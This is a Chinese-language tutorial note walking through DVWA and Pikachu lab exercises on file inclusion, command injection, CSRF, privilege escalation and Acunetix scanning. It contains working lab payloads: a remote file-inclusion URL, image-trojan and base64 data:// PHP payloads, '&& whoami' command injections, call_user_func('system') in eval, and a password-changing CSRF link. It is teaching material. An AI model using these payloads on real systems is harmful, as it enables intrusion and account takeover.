DVWA 靶场 Web 基础漏洞完整实操笔记:文件包含 / 命令注入 / CSRF / 越权全解析

📅 2026/8/2 5:08:28 👁️ 阅读次数 📝 编程学习
DVWA 靶场 Web 基础漏洞完整实操笔记:文件包含 / 命令注入 / CSRF / 越权全解析

前言

这份笔记基于 phpstudy 本地 Windows 环境、DVWA 漏洞平台实操记录,完整记录文件包含、命令执行、CSRF、越权、漏洞扫描相关全部知识点,包含实操截图对应的操作步骤、底层原理、函数区别、工具使用,原文所有内容全部保留,仅优化语句通顺度,无任何知识点删减。

一、文件包含漏洞

打开 DVWA 文件包含页面时,页面提示:The PHP function allow_url_include is not enabled,代表当前配置不支持远程文件包含。

DVWA文件包含页面提示

1. 配置修改操作

需要修改 php 配置文件,找到配置项allow_url_include=On,修改完成后保存文件,再重启 nginx 服务生效。

php.ini配置修改

2. 基础文件包含实操

DVWA 文件包含功能目录路径:F:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi,目录内存在 file1.php、file2.php、file3.php、file4.php、include.php、index.php 等文件。

fi目录文件列表

访问页面时传入参数?page=aaa.php,页面会读取对应文件内容,示例访问?page=file3.php,页面输出 admin 欢迎信息、本机 IP、访问来源地址、服务器主机地址。

file3.php访问效果

3. 路径穿越读取上级文件

如果想要访问上级目录中的文件,可以使用相对路径符号../向上跳转层级。

实操:在 vulnerabilities 同级目录新建 phpinfo.php 文件,通过路径穿越读取该文件。

新建phpinfo.php文件

4. 图片木马利用原理

文件包含漏洞不会校验文件后缀、文件类型,只要文件内存在 PHP 代码标识尖括号,就会解析执行内部 PHP 语句。

实操步骤:

  1. 将写入<?php phpinfo();?>代码的文件重命名为 tupian.png 图片文件;

图片木马文件

  1. 修改后缀为 jpg,构造访问链接:192.168.50.1/dvwa/vulnerabilities/fi/?page=phpinfo.jpg;
  2. 访问后页面正常输出完整 phpinfo 信息,证明图片内 PHP 代码成功执行。

图片木马执行phpinfo效果

5. 四种包含函数核心区别

漏洞页面底层源码使用 include、require 系列函数接收 GET 可控参数page,四类函数执行逻辑存在差异:

php

if (isset($_GET['page'])) { include $_GET['page']; include_once $_GET['page']; require $_GET['page']; require_once $_GET['page']; }
  • include:文件读取失败仅抛出警告,后续代码可以继续执行;
  • require:文件读取失败直接终止整个程序运行;
  • include_once /require_once:会自动判断文件是否已加载,避免重复引入同一个文件。

包含函数源码截图

可前往 PHP 官方文档搜索include 关键字,查看函数官方详细说明。

PHP官网查询include

6. 文件包含两大分类

  1. LFI 本地文件包含(Local file inclusion):读取服务器本地存在的文件,依靠../路径穿越遍历目录;
  2. RFI 远程文件包含(Remote file inclusion):开启 allow_url_include 后,加载外部远程服务器的 php 脚本。

LFI与RFI区分

远程包含示例payload:include.php/?page=http://192.168.50.158/test.php,可跨服务器加载恶意代码。

远程文件包含访问示例

7. PHP 内置伪协议体系

PHP 自带多类 URL 风格封装协议,可配合文件包含函数使用,常用协议清单:

协议

功能描述

file://

访问本地系统文件

http:///https://

访问远程 HTTP 网址

ftp://

访问 FTP 地址资源

php://

读写输入输出数据流

zlib://

压缩流处理

data://

内联数据执行(遵循 RFC 2397 标准)

PHP封装伪协议表格

重点伪协议:php://input

php://input属于只读数据流,作用是读取原始 HTTP 请求体(Request Body)内容,在 PUT、DELETE 请求,或是接收 JSON、XML 非表单 POST 数据时使用。

php://input介绍

data://配合 Base64 编码使用

将 PHP 代码进行 Base64 编码,可通过 data 协议直接执行。

示例代码<?php phpinfo();?>编码后字符串为PD9waHAgcGhpbmZvKCk7Pz4=,可使用在线 Base64 加解密工具完成转换。

Base64在线编码工具

补充零散笔记内容

  1. 日志位置:可读取服务器各类日志文件;
  2. URL 编码:漏洞利用场景中部分特殊字符需要 URL 编码绕过过滤;
  3. 文件包含核心特点:只要文件中识别到 PHP 尖括号标识,内部代码就会被服务器执行;
  4. 查看网站源代码相关教程,可结合伪协议 php://filter 读取源码。

无关前置基础笔记

计算机之间传输数据时,字节最终会转换为模拟电磁波信号(电信号 / 光信号),按传输介质不同分为两层:

  1. 逻辑层(数字信号):计算机内部高低电平方波,无法长距离传输;
  2. 物理层(模拟信号):远距离传输实际使用的信号形式。

计算机数据传输信号讲解

二、命令执行与命令注入漏洞

1. DVWA 命令注入实操场景

靶场 Command Injection 功能为 Ping 设备页面,原始功能接收 IP 参数执行 ping 系统命令。

DVWA命令注入页面

2. 命令分隔符利用规则

以 Windows 终端实操演示分隔符效果,基础原始命令:ping 192.168.50.1

  • &&:前一条命令执行成功后,才会执行后方命令,payload:192.168.50.1 && whoami
  • ||:前一条命令执行失败后,才会执行后方命令,payload:aaaa || whoami
  • |管道符:直接输出后一条命令执行结果;
  • &:两条命令并行执行;

文件重定向符号:

  • > 单大于号:覆盖写入目标文件;
  • >> 双大于号:追加内容到目标文件末尾;

执行命令特殊符号:

  1. 一对反引号 `whoami`:会直接执行符号内的系统命令并返回输出结果;
  2. 单个 & 符号同样可以拼接多条命令。

终端实操演示效果:输入ping 192.168.50.1 || whoami,执行完 ping 后输出当前系统用户信息。

终端命令分隔符实操

3. 四类易混淆安全概念区分

  1. 代码执行(Code Execution):用户输入被解析为编程语言代码,执行函数 eval、模板表达式、反序列化;由 PHP/Java 等语言运行时执行;
  2. 系统命令执行(OS Command Execution):程序调用操作系统底层 shell 接口,函数 system、exec、shell_exec,由 cmd.exe 或 /bin/sh 执行;
  3. 命令注入(Command Injection):用户输入拼接进合法系统命令,篡改原有命令语法结构,由 Shell 解释器执行;
  4. 远程代码执行(RCE):攻击者通过网络远程触发代码 / 系统命令执行,包含模板注入、命令注入、框架漏洞等场景;

逻辑总结:RCE 是最终危害统称;代码执行、系统命令执行代表执行方式;命令注入是输入破坏命令边界的漏洞成因。

四大漏洞概念对比表

4. PHP 危险执行函数

(1)系统命令执行函数

能够直接调用操作系统命令的函数清单:

system ()、exec ()、shell_exec ()、passthru ()、popen ()、一对反引号`

系统命令危险函数列表

(2)回调函数 call_user_func ()

核心特性:call_user_func 会把传入的第一个参数当做函数名调用,剩余内容作为函数参数,可用于绕过过滤执行系统命令。

call_user_func函数说明1

call_user_func函数说明2

示例利用代码:

php

call_user_func("system","whoami"); eval(call_user_func("system","whoami"));

普通示例:自定义函数 barber,通过 call_user_func 调用:

php

function barber($type) { echo "You wanted a $type haircut, no problem"; } call_user_func('barber', "mushroom"); call_user_func('barber', "shave");

call_user_func利用示例

(3)PHP 代码执行函数

  1. eval ():接收字符串,直接解析执行内部 PHP 代码;
  2. assert ():断言函数,传入字符串同样可以执行 PHP 代码。

eval与assert函数讲解

补充 PHP 基础笔记(完整保留无删减)

PHP 中查看数组内部内容常用 var_dump (),输出内容包含数据类型、长度、值,适合代码调试场景。

PHP打印数组方法

三、CSRF 跨站请求伪造漏洞

1. 漏洞核心原理

前提条件:用户已经登录目标网站,浏览器本地保存网站登录 Cookie 凭证;

攻击流程:攻击者搭建恶意网页诱导用户访问,页面自动发起目标网站操作请求,浏览器会自动携带用户登录 Cookie,服务器无法区分请求是否由用户主动发起。

示例逻辑:用户登录淘宝后,访问恶意网页,恶意页面自动携带淘宝 Cookie 发起操作请求。

CSRF攻击逻辑流程图

2. DVWA CSRF 修改密码实操

构造恶意 HTML 页面,超链接直接指向修改密码接口,GET 参数携带新密码配置:

html

<a href="http://192.168.50.1/dvwa/vulnerabilities/csrf?password_new=openlab123&password_conf=openlab123">点击链接</a>

已登录 DVWA 的用户点击该链接,账号密码会被强制修改,链接内参数就是修改账号密码的操作指令。

恶意HTML页面代码

四、越权漏洞

越权分为水平越权、垂直越权两类,本地演示靶场为 Pikachu。

Pikachu越权功能页面

  1. 水平越权:相同权限等级的用户之间,未做数据隔离,可以互相查看、修改对方私有数据;
  2. 垂直越权:高低权限区分失效,低权限普通用户可以访问管理员专属页面、查看管理员数据。

五、Web 漏洞扫描工具 Acunetix

1. 使用规范

必须获得目标站点授权之后,才能开展漏洞扫描;无授权扫描网站属于违规违法行为。

2. 工具扫描结果说明

Acunetix 扫描后会区分高危、中危、低危漏洞,自动爬取网站页面,检测文件包含、目录遍历、脆弱前端组件、未加密传输等漏洞。

Acunetix扫描后台界面

3. 工具使用注意事项

工具扫描识别出的漏洞不能直接采信,工具存在误报情况;每一条扫描结果都需要人工二次验证、复现,确认漏洞真实存在。

全文总结

  1. 文件包含漏洞核心风险:用户可控文件路径参数无过滤,衍生路径穿越、图片木马执行、伪协议读取源码 / 执行代码;
  2. 命令注入核心成因:用户输入直接拼接系统 Shell 命令,各类命令分隔符是主要利用手段,system、eval、call_user_func 等高危函数需要重点防护;
  3. CSRF 攻击依靠浏览器自动携带 Cookie 的特性,无请求校验 Token 时极易触发;
  4. 越权漏洞根源是后端接口未做用户数据、访问权限校验;
  5. 漏洞扫描工具仅作为资产巡检辅助工具,人工复现验证是渗透测试必不可少的步骤;
  6. 所有 Web 通用防护思路:严格过滤用户输入、配置白名单、完善接口权限鉴权、Web 服务采用最小运行权限。